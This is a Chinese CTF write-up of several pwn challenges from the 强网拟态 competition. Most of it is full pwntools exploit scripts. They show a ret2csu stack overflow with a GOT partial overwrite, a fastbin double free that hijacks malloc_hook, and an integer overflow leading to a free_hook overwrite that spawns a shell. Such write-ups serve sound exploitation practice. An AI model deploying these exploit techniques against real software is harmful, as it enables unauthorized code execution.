强网拟态还是有点意思的,赛制也很有趣,做常规题上分然后拿分数换白盒挑战资格,像👴这种菜鸡又不会白盒,梭哈也梭哈不来,只能水几道pwn题混混日子的亚子。
easystack 签到题目,就直接格式化泄露canary和libc接栈溢出打onegadget,exp就不写了。
easystack-pro 之前主办方禁掉一堆格式化字符后每人出,就换了一道64位栈溢出,有read 有write,没有rdx所以要用ret2csu。但是由于拟态所以用write写的时候就输入三个同时运行的程序中,泄露出的地址不同,返回值不同就会退出。所以这里可以用64位的ret2dl,但是没搞出来,所以就部分写,改写write函数最后一位 为libc中的syscall的地址,打系统调用。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 from pwn import *context(log_level="debug" , arch="amd64" , os="linux" ) p = remote('172.35.100.100' , 10002 ) elf = ELF("./easy-stack2" ) offset = 0x80 write_got = elf.got['write' ] read_got = elf.got['read' ] main_addr = elf.symbols['main' ] bss_base = elf.bss(0x100 ) csu_front_addr = 0x0000000000400600 csu_end_addr = 0x000000000040061A fakeebp = 'b' * 8 def call (r12, r15, r14, r13) : rbx = 0 rbp = 1 payload = p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) payload += p64(csu_front_addr) payload += 'a' * 0x38 return payload def super_call (r12, r15, r14, r13, last) : rbx = 0 rbp = 1 payload = p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) payload += p64(csu_front_addr) payload += 'a' * 0x38 payload += last return payload p.recvuntil('Hello, World\n' ) pay = offset * "A" + p64(0xdeadbeef ) pay += call(read_got, 0 , bss_base, 16 ) pay += p64(main_addr) p.send(pay) sleep(0.3 ) p.send(p64(0xdeadbeef ) + '/bin/sh\x00' ) sleep(0.3 ) p.recvuntil("Hello, World\n" ) pay = offset * "A" + p64(0xdeadbeef ) pay += call(read_got, 0 , write_got, 1 ) pay += p64(main_addr) p.send(pay) sleep(0.3 ) p.send('\xbe' ) sleep(0.3 ) p.recvuntil("Hello, World\n" ) pay = offset * "A" + p64(0xdeadbeef ) pay += call(read_got, 0 , bss_base + 0x20 , 59 ) pay += call(write_got, bss_base+8 , 0 , 0 ) pay += p64(main_addr) p.sendline(pay) sleep(0.3 ) p.sendline('A' * 59 ) p.interactive()
newpad 这题目和有一年的tinypad一样,稍微改了点东西加了个pie,也是off-by-null+uaf,改改之前的脚本就能打 链接:SECCON 2016 tinypad
emmmm 这题挺坑的,环境2.23,free功能只会free存储堆的结构体(每次申请前会malloc(0x10)来存储堆地址和size,也就是相当于只有0x21大小的堆能被我们使用),show的功能让你想办法猜随机数然后给你个scanf,正常思路肯定是这里输入大量内容触发一个malloc来用,但是它没有,这题目直到做出来后我都没发现这个show到底有啥用,实际上他把show的功能偷偷藏在了free里. 我的思路是这样的:首先有个UAF的洞,能控制和free的指针只有存储堆结构体的指针,写入的内容则是我们申请大小的堆里,所以先fastbin double free构造两个结构体指针一个在0x010在一个0x020构造一个错位,然后第一个改第二的size和存储的堆指针,伪造unsorted大小,使用free来泄露libc和heap基址,之后以同样方法伪造0x70的fastbin,打malloc_hook,注意realloc使用,需要注意的是free时候会检测结构体堆的fd指针是否是可访问的,所以就要泄露堆地址来伪造. exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 from pwn import *context(log_level="debug" , arch="amd64" , os="linux" ) p=remote('172.35.2.42' ,9999 ) def add (size,payload) : p.recvuntil('Choice >>' ) p.sendline('1' ) p.recvuntil('Size:' ) p.sendline(str(size)) p.recvuntil('Note:' ) p.send(payload) def free (idx) : p.recvuntil('Choice >>' ) p.sendline('2' ) p.recvuntil('Index:' ) p.sendline(str(idx)) def show (idx) : p.recvuntil('Choice >>' ) p.sendline('3' ) p.recvuntil('Index: ' ) p.sendline(str(idx)) payload=p64(0x21 )*3 add(0x18 ,payload) add(0x18 ,payload) add(0x18 ,payload) add(0x18 ,p64(0xa1 )+p64(0x21 )+p64(0xb1 )) add(0x18 ,payload) free(1 ) free(4 ) add(0x18 ,p64(0 )+p64(0x21 )+p64(0 )) free(2 ) free(3 ) free(2 ) free(4 ) add(0x18 ,'\x50' ) add(0x18 ,'\x60' ) add(0x18 ,'\x60' ) free(1 ) free(4 ) p.recvuntil('You will free: ' ) heap_addr=u64(p.recv(6 ).ljust(8 ,'\x00' ))-0x60 print(hex(heap_addr)) add(0x18 ,p64(heap_addr+0x10 )+p64(0xb1 )) free(8 ) free(2 ) p.recvuntil('You will free: ' ) malloc_hook=u64(p.recv(6 ).ljust(8 ,'\x00' ))-0x68 print(hex(malloc_hook)) add(0xa8 ,p64(0x21 )*10 ) add(0x18 ,payload) free(4 ) free(11 ) free(4 ) free(3 ) add(0x18 ,'\x10' ) add(0x18 ,p64(0 )+p64(0x21 )) add(0x21 ,'\x60' ) free(4 ) free(11 ) add(0x18 ,p64(heap_addr+0x10 )+p64(0x71 )) free(14 ) free(4 ) free(1 ) libc=malloc_hook-0x3c4b10 realloc=libc+0x846c0 one_gadget=libc+0xf1147 payload=p64(0 )+p64(0x71 )+p64(malloc_hook-0x23 ) add(0x18 ,payload) payload='a' *(0x13 -0x8 )+p64(one_gadget)+p64(realloc+0x6 ) add(0x68 ,payload) add(0x68 ,payload) p.sendline('1' ) p.interactive()
goodnote 这题找漏洞是个关键,这里还是aa师傅找到了溢出漏洞:输入0x10000000000000000/4,乘上4就溢出变成0了(这里属实没想到,这就是大佬么,aatql),然后堆溢出打就完事了,还是2.27的,剩下的就更简单了,注意一下这里的edit是用4字节的十进制数字写入即可. exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 from pwn import *context(log_level="debug" , arch="amd64" , os="linux" ) p=process('./goodnote' ) elf=ELF('./goodnote' ) def add (idx,size) : p.recvuntil('choice: ' ) p.sendline('1' ) p.recvuntil('Index: ' ) p.sendline(str(idx)) p.recvuntil('Size: ' ) p.sendline(str(size)) def edit (idx) : p.recvuntil('choice:' ) p.sendline('2' ) p.recvuntil('Index:' ) p.sendline(str(idx)) def show (idx) : p.recvuntil('choice:' ) p.sendline('3' ) p.recvuntil('Index: ' ) p.sendline(str(idx)) def free (idx) : p.recvuntil('choice:' ) p.sendline('4' ) p.recvuntil('Index:' ) p.sendline(str(idx)) add(0 ,0x110 ) add(1 ,0x10 ) free(0 ) add(0 ,0x110 ) show(0 ) p.recvuntil('Content: ' ) malloc_hook=u64(p.recv(6 ).ljust(8 ,'\x00' ))-0x70 libc=malloc_hook-0x3ebc30 print(hex(libc)) add(3 ,0x10000000000000000 /4 ) add(4 ,0x20 ) free(4 ) edit(3 ) for i in range(6 ): p.sendline(str(0xffffffff )) p.sendline(str(0x91 )) p.sendline(str(0x0 )) free_hook=libc+0x3ed8e8 print(hex(free_hook)) p.sendline(str(free_hook&0xffffffff )) print(hex(free_hook>>32 )) p.sendline(str(free_hook>>32 )) p.sendline(str(0xDEADBEEF )) add(4 ,0x20 ) add(5 ,0x20 ) edit(5 ) system=libc+0x4f440 p.sendline(str(system&0xffffffff )) p.sendline(str(system>>32 )) p.sendline(str(0xDEADBEEF )) edit(1 ) p.sendline(str(0x6e69622f )) p.sendline(str(0x68732f )) p.sendline(str(0xDEADBEEF )) free(1 ) p.interactive()
rbsystem 没做出来,告辞,啥时候有空来复现